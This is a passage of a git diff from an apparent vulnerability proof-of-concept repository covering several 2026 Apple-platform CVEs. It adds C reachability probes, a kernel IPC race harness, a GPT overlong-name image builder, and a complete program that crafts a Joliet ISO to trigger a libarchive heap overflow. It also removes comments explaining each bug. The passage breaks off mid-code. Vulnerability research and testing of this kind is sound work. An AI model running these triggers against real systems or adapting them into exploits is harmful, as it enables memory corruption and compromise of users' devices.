+ g_deadline.tv_nsec = start.tv_nsec; + + printf("\n— race: %.0f s, %d workers, depth %d, budget %d —\n", + g_seconds, workers, g_depth, TOTAL_BUDGET); + pthread_t threads[8]; + if (workers > 8) workers = 8; + for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); + for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); + + printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", + S.operations, S.allocations, S.notifications, S.sends, S.deallocations); + if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); + if (S.notifications_refused > 0) { + printf("notifications refused %ld times — this platform does not allow notification\n" + "registration on own ports, so the request-table path cannot be armed here\n", + S.notifications_refused); + } + if (S.nerrs > 0) { + printf("kernel errors:\n"); + for (int i = 0; i < S.nerrs; i++) { + printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); + } + } + printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); + pthread_mutex_destroy(&S.lock); + return 0; +} diff --git a/CVE-2026-112507/CVE-2026-112507.swift b/CVE-2026-112507/CVE-2026-112507.swift index 60dd488..5a6224e 100644 --- a/CVE-2026-112507/CVE-2026-112507.swift +++ b/CVE-2026-112507/CVE-2026-112507.swift @@ -1,24 +1,8 @@ -// kern.ipc · XNU · ipc_port.c 请求表消费方 · CVE-2026-112507 / 112476 -// 原语: UAF · 内核 · tier 2 -// Primitive: use-after-free · kernel · tier 2 -// -// [zh] ipc_port 请求表索引竞态 -// 27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free -// 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。 -// -// [en] ipc_port request table index race -// iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request -// table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards -// the result, still performing the read-modify-write through the unchecked base; the mark path has -// no bounds computation at all. The index comes from the space's saved request-table slot, so the -// defect shape is a stale index under concurrency between table growth or teardown and notification -// registration or message send. -// ── 判别 / oracle ── -// 该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。 - +// kern.ipc · XNU · ipc_port.c request-table consumers · CVE-2026-112507 / 112476 +// ipc_port request table index race import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -40,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112515/CVE-2026-112515.c b/CVE-2026-112515/CVE-2026-112515.c new file mode 100644 index 0000000..6221fa2 --- /dev/null +++ b/CVE-2026-112515/CVE-2026-112515.c @@ -0,0 +1,35 @@ +// probe.hid · IOKit.framework / GameController.framework · CVE-2026-112515 +// HID event path reachability probe +// C twin of the Swift POC: dlopens IOKit and GameController, dlsyms the HID entry +// points the CVE lives behind, and reports which resolve in this process. +// Build: clang -O2 -o cve-2026-112515 CVE-2026-112515.c +// Run: ./cve-2026-112515 + +#include +#include +#include + +static void probe(const char *lib, const char **symbols, int n) { + void *h = dlopen(lib, RTLD_NOW); + if (!h) { + printf("x %s\n", lib); + return; + } + printf("ok %s\n", lib); + for (int i = 0; i < n; i++) { + printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing"); + } +} + +int main(void) { + const char *iokit_syms[] = { + "IOHIDManagerCreate", "IOHIDDeviceGetProperty", "IOHIDEventCreateCopy", + "IOHIDEventSystemClientCreate", "IOHIDEventCreateData", + }; + const char *gc_syms[] = {"GCController", "GCHIDEventSource", "GCExtendedGamepad"}; + + probe("/System/Library/Frameworks/IOKit.framework/IOKit", iokit_syms, 5); + probe("/System/Library/Frameworks/GameController.framework/GameController", gc_syms, 3); + printf("CVE-2026-112515 · HID path probed\n"); + return 0; +} diff --git a/CVE-2026-112515/CVE-2026-112515.swift b/CVE-2026-112515/CVE-2026-112515.swift index a57e9ec..0fbb4a0 100644 --- a/CVE-2026-112515/CVE-2026-112515.swift +++ b/CVE-2026-112515/CVE-2026-112515.swift @@ -1,22 +1,8 @@ -// probe.hid · IOHIDFamily · caps 表查找 · CVE-2026-112515 -// 原语: OOB 读 · 外设 · tier 2 -// Primitive: OOB read · peripheral · tier 2 -// -// [zh] IOHIDFamily 预解析数据表索引 -// 记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据, -// 构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。 -// -// [en] IOHIDFamily preparsed data table index -// A signed int32 index from the record is scaled by 0x14 straight into the caps table base with only -// a 32-bit multiply-overflow trap and no comparison against the count. Negative indices read below -// the table, over-range indices read adjacent kernel heap, and the u32 that comes back enters element/event -// data — a kernel memory disclosure. iOS 27.2 adds cmp idx,count, a NULL guard and 64-bit index arithmetic. -// ── 判别 / oracle ── -// 入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。 - +// probe.hid · IOHIDFamily · caps-table lookup · CVE-2026-112515 +// IOHIDFamily preparsed data table index import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112522/CVE-2026-112522.c b/CVE-2026-112522/CVE-2026-112522.c new file mode 100644 index 0000000..3552adb --- /dev/null +++ b/CVE-2026-112522/CVE-2026-112522.c @@ -0,0 +1,266 @@ +// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 +// ISO9660 Joliet path name heap overflow +// C twin of the Swift POC: builds the 1024-byte-chain Joliet ISO and walks it through +// libarchive (dlopen /usr/lib/libarchive.2.dylib). The deepest unwind writes 2 bytes +// past a malloc(1024) heap buffer. +// Variants arc.iso.stress (repeat walk) and arc.cab (LZX early match) are noted in the +// Swift POC and the folder's python builder. +// Build: clang -O2 -o cve-2026-112522 CVE-2026-112522.c +// Run: ./cve-2026-112522 [iterations] + +#include +#include +#include +#include + +#define SECTOR 2048 + +// ── byte helpers ── +static void both32(uint8_t *p, uint32_t v) { + p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; + p[4] = v >> 24; p[5] = (v >> 16) & 0xff; p[6] = (v >> 8) & 0xff; p[7] = v & 0xff; +} +static void both16(uint8_t *p, uint16_t v) { + p[0] = v & 0xff; p[1] = v >> 8; p[2] = v >> 8; p[3] = v & 0xff; +} +static void le32(uint8_t *p, uint32_t v) { p[0] = v; p[1] = v >> 8; p[2] = v >> 16; p[3] = v >> 24; } +static void le16(uint8_t *p, uint16_t v) { p[0] = v; p[1] = v >> 8; } + +// UTF-16BE encoding of an ASCII string +static size_t ucs2(const char *s, uint8_t *out) { + size_t n = strlen(s); + for (size_t i = 0; i < n; i++) { out[i * 2] = 0; out[i * 2 + 1] = (uint8_t)s[i]; } + return n * 2; +} + +// ── ISO9660 directory record (from CVE-2026-112522.py: dir_record) ── +// name_len may exceed the name buffer; the record is capped at 255 bytes total +static size_t dir_record(uint8_t *rec, const uint8_t *name, size_t name_len, + uint32_t extent, uint32_t size, uint8_t flags) { + uint8_t *p = rec; + *p++ = 0; // length, patched below + *p++ = 0; // extended attribute length + both32(p, extent); p += 8; + both32(p, size); p += 8; + *p++ = 126; *p++ = 10; *p++ = 28; *p++ = 12; // recording date 2026-10-28 12:00 + *p++ = 0; *p++ = 0; *p++ = 0; + *p++ = flags; *p++ = 0; *p++ = 0; // file unit / interleave + both16(p, 1); p += 4; // volume sequence + *p++ = 0; // file identifier length, patched below + size_t name_taken = name_len; + size_t fixed = (size_t)(p - rec); // name starts at offset 33 + if (fixed + name_taken > 255) name_taken = 255 - fixed; // record cap + memcpy(p, name, name_taken); + p += name_taken; + size_t used = (size_t)(p - rec); + if (used % 2) { *p++ = 0; used++; } + rec[0] = (uint8_t)used; // record length + rec[32] = (uint8_t)name_taken; // file identifier length + return used; +} + +// ── seed construction (from CVE-2026-112522.py: build_joliet_iso) ── +// Chain root -> A(103) -> B(103) -> C(103) -> D(103) -> E(96) -> file F. +// Joliet path accumulates 4*206 + 192 + 4*2 = 1024 bytes exactly, so the deepest +// separator write lands at p[1024]/p[1025], two bytes past malloc(1024). +static uint8_t *build_joliet_iso(size_t *out_n) { + char names[5][104]; + for (int i = 0; i < 4; i++) { memset(names[i], 'A' + i, 103); names[i][103] = 0; } + memset(names[4], 'E', 96); names[4][96] = 0; + + const int LBA_PVD = 16, LBA_SVD = 17, LBA_TERM = 18, LBA_PT_ASCII = 19, LBA_PT_JOLIET = 20; + const int LBA_ROOT = 21, first_dir = 22, LBA_FILE = 27; + const int total_sectors = 28; + + uint8_t *img = calloc((size_t)total_sectors * SECTOR, 1); + + // ---- path tables (type L) + uint8_t pt_ascii[SECTOR], pt_joliet[SECTOR]; + size_t pt_ascii_n = 0, pt_joliet_n = 0; + for (int i = -1; i < 5; i++) { + const char *name = i < 0 ? "" : names[i]; + uint16_t parent = i < 0 ? 1 : (uint16_t)(i + 2); + uint32_t extent = i < 0 ? (uint32_t)LBA_ROOT : (uint32_t)(first_dir + i); + uint8_t nb[208]; + size_t nb_n; + if (i < 0) { nb[0] = 0; nb_n = 1; } + else nb_n = strlen(name); // ASCII table: raw bytes + memcpy(nb, name, nb_n); + uint8_t *rec = pt_ascii + pt_ascii_n; + *rec++ = (uint8_t)nb_n; *rec++ = 0; + le32(rec, extent); rec += 4; + le16(rec, parent); rec += 2; + memcpy(rec, nb, nb_n); rec += nb_n; + if ((size_t)(rec - (pt_ascii + pt_ascii_n)) % 2) *rec++ = 0; + pt_ascii_n = (size_t)(rec - pt_ascii); + + // Joliet table: UTF-16BE names + uint8_t jnb[208]; + size_t jnb_n; + if (i < 0) { jnb[0] = 0; jnb_n = 1; } + else jnb_n = ucs2(name, jnb); + rec = pt_joliet + pt_joliet_n; + *rec++ = (uint8_t)jnb_n; *rec++ = 0; + le32(rec, extent); rec += 4; + le16(rec, parent); rec += 2; + memcpy(rec, jnb, jnb_n); rec += jnb_n; + if ((size_t)(rec - (pt_joliet + pt_joliet_n)) % 2) *rec++ = 0; + pt_joliet_n = (size_t)(rec - pt_joliet); + } + memcpy(img + LBA_PT_ASCII * SECTOR, pt_ascii, pt_ascii_n); + memcpy(img + LBA_PT_JOLIET * SECTOR, pt_joliet, pt_joliet_n); + + // ---- directories + uint8_t dirbuf[SECTOR]; + uint8_t cname[208]; + // root contains A + { + memset(dirbuf, 0, SECTOR); + size_t off = 0; + off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); + off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); + size_t cn = ucs2(names[0], cname); + off += dir_record(dirbuf + off, cname, cn, (uint32_t)first_dir, SECTOR, 0x02); + memcpy(img + LBA_ROOT * SECTOR, dirbuf, SECTOR); + } + for (int i = 0; i < 5; i++) { + int lba = first_dir + i; + int parent = i == 0 ? LBA_ROOT : first_dir + i - 1; + memset(dirbuf, 0, SECTOR); + size_t off = 0; + off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)lba, SECTOR, 0x02); + off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)parent, SECTOR, 0x02); + size_t cn; + if (i + 1 < 5) { + cn = ucs2(names[i + 1], cname); + off += dir_record(dirbuf + off, cname, cn, (uint32_t)(first_dir + i + 1), SECTOR, 0x02); + } else { + cn = ucs2("F", cname); + off += dir_record(dirbuf + off, cname, cn, (uint32_t)LBA_FILE, 0, 0x00); + } + memcpy(img + (size_t)lba * SECTOR, dirbuf, SECTOR); + } + // LBA_FILE: empty sector + + // ---- volume descriptors + for (int joliet = 0; joliet < 2; joliet++) { + uint8_t *d = img + (joliet ? LBA_SVD : LBA_PVD) * SECTOR; + int lba = joliet ? LBA_SVD : LBA_PVD; + (void)lba; + d[0] = joliet ? 2 : 1; + memcpy(d + 1, "CD001", 5); + d[6] = 1; + if (joliet) { + uint8_t sid[32]; + ucs2("CINDER27 ", sid); // 16 UTF-16 units + memcpy(d + 8, sid, 32); + uint8_t vid[32]; + ucs2("JOLIET-OOB ", vid); + memcpy(d + 40, vid, 32); + } else { + memcpy(d + 8, "CINDER27 ", 32); + memcpy(d + 40, "JOLIET-OOB ", 32); + } + both32(d + 80, (uint32_t)total_sectors); + both16(d + 120, 1); // volume set size + both16(d + 124, 1); // volume sequence number + both16(d + 128, (uint16_t)SECTOR); // logical block size + both32(d + 132, (uint32_t)(joliet ? pt_joliet_n : pt_ascii_n)); + le32(d + 140, (uint32_t)(joliet ? LBA_PT_JOLIET : LBA_PT_ASCII)); + le32(d + 144, 0); + d[148] = 0; d[149] = 0; d[150] = 0; d[151] = 0; // type-M unused + d[152] = 0; d[153] = 0; d[154] = 0; d[155] = 0; + uint8_t rootrec[40]; + size_t rootrec_n = dir_record(rootrec, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); + memcpy(d + 156, rootrec, rootrec_n); + d[881] = 1; // file structure version + if (joliet) memcpy(d + 88, "%/E", 3); // escape sequence + } + // terminator + uint8_t *term = img + LBA_TERM * SECTOR; + term[0] = 255; + memcpy(term + 1, "CD001", 5); + term[6] = 1; + + *out_n = (size_t)total_sectors * SECTOR; + return img; +} + +// ── trigger: walk the archive through libarchive ── +typedef struct archive archive_t; +typedef struct archive_entry archive_entry_t; +static archive_t *(*arc_new)(void); +static int (*arc_filter_all)(archive_t *); +static int (*arc_format_all)(archive_t *); +static int (*arc_open_memory)(archive_t *, const void *, size_t); +static int (*arc_next_header)(archive_t *, archive_entry_t **); +static const char *(*arc_entry_pathname)(archive_entry_t *); +static int64_t (*arc_entry_size)(archive_entry_t *); +static const char *(*arc_error_string)(archive_t *); +static int (*arc_free)(archive_t *); + +static int walk(const uint8_t *img, size_t n, int iteration, size_t *max_path) { + archive_t *a = arc_new(); + if (!a) { printf(" archive_read_new failed\n"); return -1; } + arc_filter_all(a); + arc_format_all(a); + if (arc_open_memory(a, img, n) != 0) { + printf(" open_memory rc != 0: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); + arc_free(a); + return -1; + } + int entries = 0; + while (1) { + archive_entry_t *e = NULL; + int r = arc_next_header(a, &e); + if (r != 0) { + if (r < 0) printf(" next_header error: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); + break; + } + const char *p = arc_entry_pathname(e); + size_t plen = p ? strlen(p) : 0; + if (plen > *max_path) *max_path = plen; + if (entries < 8) printf(" entry %2d: %s (%lld B)\n", entries, p ? p : "", (long long)arc_entry_size(e)); + entries++; + if (entries > 64) break; + } + printf(" pass %d: %d entries, max pathname %zu B\n", iteration, entries, *max_path); + arc_free(a); + return entries; +} + +int main(int argc, char **argv) { + int iterations = argc > 1 ? atoi(argv[1]) : 1; + + size_t n = 0; + uint8_t *img = build_joliet_iso(&n); + FILE *f = fopen("joliet_oob.iso", "wb"); + if (f) { fwrite(img, 1, n, f); fclose(f); } + + void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW); + if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); return 1; } + arc_new = dlsym(h, "archive_read_new"); + arc_filter_all = dlsym(h, "archive_read_support_filter_all"); + arc_format_all = dlsym(h, "archive_read_support_format_all"); + arc_open_memory = dlsym(h, "archive_read_open_memory"); + arc_next_header = dlsym(h, "archive_read_next_header"); + arc_entry_pathname = dlsym(h, "archive_entry_pathname"); + arc_entry_size = dlsym(h, "archive_entry_size"); + arc_error_string = dlsym(h, "archive_error_string"); + arc_free = dlsym(h, "archive_read_free"); + if (!arc_new || !arc_open_memory || !arc_next_header || !arc_free) { + printf("libarchive symbols missing\n"); + return 1; + } + + size_t max_path = 0; + for (int i = 0; i < iterations; i++) { + walk(img, n, i + 1, &max_path); + } + + printf("CVE-2026-112522 · Joliet chain 4*206 + 192 + 4*2 = 1024 B, max pathname %zu B\n", max_path); + printf("the deepest separator write lands at p[1024]/p[1025], 2 bytes past malloc(1024)\n"); + printf("seed: joliet_oob.iso (%zu B) · survived %d walk(s)\n", n, iterations); + free(img); + return 0; +} diff --git a/CVE-2026-112522/CVE-2026-112522.py b/CVE-2026-112522/CVE-2026-112522.py index ab1dc61..dd783a7 100644 --- a/CVE-2026-112522/CVE-2026-112522.py +++ b/CVE-2026-112522/CVE-2026-112522.py @@ -1,21 +1,4 @@ #!/usr/bin/env python3 -# arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 -# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process -# -# [zh] ISO9660 Joliet 路径名堆溢出 -# build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 -# 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。 -# -# [en] ISO9660 Joliet pathname heap overflow -# After recursively appending the parent path, build_pathname_utf16be unconditionally writes -# a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When -# a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], -# two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header. -# -# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py -# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112522.swift -# triggers (run closures) & non-seed builders: CVE-2026-112522.swift in this folder - import struct SECTOR = 2048 diff --git a/CVE-2026-112522/CVE-2026-112522.swift b/CVE-2026-112522/CVE-2026-112522.swift index dce9c34..974df77 100644 --- a/CVE-2026-112522/CVE-2026-112522.swift +++ b/CVE-2026-112522/CVE-2026-112522.swift @@ -1,28 +1,9 @@ // arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 -// 原语: OOB 写 · 进程内 · tier 1 -// Primitive: OOB write · in-process · tier 1 -// -// [zh] ISO9660 Joliet 路径名堆溢出 -// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024 -// 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。 -// -// [en] ISO9660 Joliet pathname heap overflow -// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte -// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain -// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024) -// buffer, and 0x002F overwrites the adjacent heap chunk header. -// ── 判别 / oracle ── -// 目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too -// long\" 之前的写指令。 -// 变体 arc.iso.stress: Joliet 路径长度循环 -// 变体 arc.cab: CAB LZX 历史未初始化即取匹配 -// -// 种子构建器(python,可直接运行): CVE-2026-112522/CVE-2026-112522.py -// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py - +// ISO9660 Joliet pathname heap overflow +// Standalone builder: CVE-2026-112522.py import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -43,36 +24,8 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522 -// 原语: OOB 写 · 进程内 · tier 1 -// Primitive: OOB write · in-process · tier 1 -// -// [zh] Joliet 路径长度循环 -// 对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。 -// -// [en] Joliet path length loop -// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves -// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition -// is what pushes the damage into a visible position. -*/ -/* -// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] CAB LZX 历史未初始化即取匹配 -// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。 -// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。 -// -// [en] CAB LZX match against uninitialised history -// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop. -// While the window has not yet been written, copy_pos points into uninitialised memory and the copied -// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED. -*/ - -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ── +// ── seed construction (from Cinder27 Sources: CABPayload) ── enum CABPayload { static func lzxEarlyMatch() -> Data { var out = Data() diff --git a/CVE-2026-112546/CVE-2026-112546.c b/CVE-2026-112546/CVE-2026-112546.c new file mode 100644 index 0000000..e2b1629 --- /dev/null +++ b/CVE-2026-112546/CVE-2026-112546.c @@ -0,0 +1,59 @@ +// aud.hoa · AudioToolbox / AudioToolboxCore · HOASpatialDecoder · CVE-2026-112546 +// HOA spatial decoder reachability probe +// C twin of the Swift POC: dlopens the audio frameworks, dlsyms the decoder symbols, +// then drives AudioConverterNew with the HOA format id. +// Build: clang -O2 -o cve-2026-112546 CVE-2026-112546.c -framework AudioToolbox -framework CoreFoundation +// Run: ./cve-2026-112546 + +#include +#include +#include +#include + +static void probe(const char *lib, const char **symbols, int n) { + void *h = dlopen(lib, RTLD_NOW); + if (!h) { + printf("x %s (%s)\n", lib, dlerror() ? dlerror() : "dlopen failed"); + return; + } + printf("ok %s\n", lib); + for (int i = 0; i < n; i++) { + printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing"); + } +} + +static void audio_converter(uint32_t format, double rate, uint32_t channels) { + AudioStreamBasicDescription in = {0}; + in.mSampleRate = rate; + in.mFormatID = format; + in.mFramesPerPacket = 1; + in.mChannelsPerFrame = channels; + AudioStreamBasicDescription out = {0}; + out.mSampleRate = rate; + out.mFormatID = kAudioFormatLinearPCM; + out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked; + out.mBytesPerPacket = 4; + out.mFramesPerPacket = 1; + out.mBytesPerFrame = 4; + out.mChannelsPerFrame = 1; + out.mBitsPerChannel = 32; + AudioConverterRef c = NULL; + OSStatus st = AudioConverterNew(&in, &out, &c); + if (c) AudioConverterDispose(c); + char four[5] = {0}; + for (int i = 0; i < 4; i++) { + uint8_t b = (uint8_t)(format >> (24 - 8 * i)); + four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?'; + } + printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st); +} + +int main(void) { + const char *syms[] = {"HOASpatialDecoder", "APACHOADecoder", "UniDrcSelection", "mpddrc"}; + probe("/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox", syms, 4); + probe("/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore", syms, 4); + probe("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", syms, 4); + audio_converter(0x6D686D31, 48000, 4); // 'mhm1' HOA + printf("CVE-2026-112546 · HOA decoder path probed\n"); + return 0; +} diff --git a/CVE-2026-112546/CVE-2026-112546.swift b/CVE-2026-112546/CVE-2026-112546.swift index e77a114..4678dc6 100644 --- a/CVE-2026-112546/CVE-2026-112546.swift +++ b/CVE-2026-112546/CVE-2026-112546.swift @@ -1,21 +1,8 @@ // aud.hoa · AudioCodecs · APACHOADecoder::Initialize · CVE-2026-112546 -// 原语: OOB 读 · 系统进程 · tier 2 -// Primitive: OOB read · system process · tier 2 -// -// [zh] HOA 空间音频系数越界读 -// mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2 -// 将比较阈值改为 0x25。 -// -// [en] HOA spatial audio coefficient out-of-bounds read -// mNumHOAcoeffs is deserialised from the file's hoa::CodecConfig. The existing check only rejects -// values above 122, while anything from 37 to 121 indexes an array of length 37. iOS 27.2 changes -// the comparison threshold to 0x25. -// ── 判别 / oracle ── -// 系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。 - +// HOA spatial audio coefficient out-of-bounds read import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112554/CVE-2026-112554.c b/CVE-2026-112554/CVE-2026-112554.c new file mode 100644 index 0000000..21c7b02 --- /dev/null +++ b/CVE-2026-112554/CVE-2026-112554.c @@ -0,0 +1,124 @@ +// kext.gpt · ApplePartitionParser · GPT partition name field · CVE-2026-112554 +// GPT partition name overrun scan boundary +// C twin of the Swift POC: builds the overlong-name GPT image (36 UTF-16 units = 72 B +// in a 28-B field), then parses it with the same clamped describe walk the app uses. +// 27.0 scans the name field up to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B. +// Build: clang -O2 -o cve-2026-112554 CVE-2026-112554.c +// Run: ./cve-2026-112554 [entry-count] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── seed construction (from Cinder27 Sources: GPTPayload.oversizedName) ── +// the name field is 36 UTF-16 code units = 72 bytes; the type GUID starts 56 bytes +// into the entry, so a full-length name runs 16 bytes past the field into nothing +static buf gpt_oversized_name(int entry_count) { + const size_t sector = 512; + buf out = {0}; + + // protective MBR + uint8_t mbr[512] = {0}; + mbr[446 + 4] = 0xEE; + mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF; + mbr[446 + 8] = 0x01; + uint32_t total_sectors = 34; + mbr[446 + 12] = total_sectors & 0xff; + mbr[446 + 13] = (total_sectors >> 8) & 0xff; + mbr[446 + 14] = (total_sectors >> 16) & 0xff; + mbr[446 + 15] = (total_sectors >> 24) & 0xff; + mbr[510] = 0x55; mbr[511] = 0xAA; + bcat(&out, mbr, sector); + + // primary GPT header + uint8_t hdr[512] = {0}; + memcpy(hdr, "EFI PART", 8); + hdr[8] = 0; hdr[9] = 0; hdr[10] = 1; hdr[11] = 0; // revision 1.0 + uint32_t header_size = 92; + hdr[12] = header_size & 0xff; hdr[13] = 0; + hdr[24] = 2; // my LBA + hdr[32] = 33; // alternate LBA + hdr[40] = 2; // first usable + hdr[48] = 32; // last usable + hdr[72] = 2; // entry array LBA + uint32_t entries = (uint32_t)entry_count; + hdr[80] = entries & 0xff; + hdr[84] = 128; // entry size + bcat(&out, hdr, sector); + + // partition entries: type GUID + 16-byte name in a 72-byte-declared field + const char *name = "CINDER27-OVERLONG-PARTITION-NAME"; + size_t name_units = strlen(name); + for (int i = 0; i < entry_count; i++) { + uint8_t entry[128] = {0}; + entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB; + entry[56] = (uint8_t)(i + 1); // unique partition GUID byte + for (size_t k = 0; k < name_units; k++) { + if (56 + k * 2 + 1 >= 128) break; + entry[56 + k * 2] = (uint8_t)name[k]; + entry[56 + k * 2 + 1] = 0; // UTF-16LE + } + bcat(&out, entry, 128); + } + while (out.n % sector != 0) bput(&out, 0); + return out; +} + +// ── trigger: clamped describe walk (mirror of GPTPayload.describe) ── +static void describe(const buf *image) { + if (image->n < 1024) { printf("image too short\n"); return; } + const uint8_t *d = image->d; + if (memcmp(d + 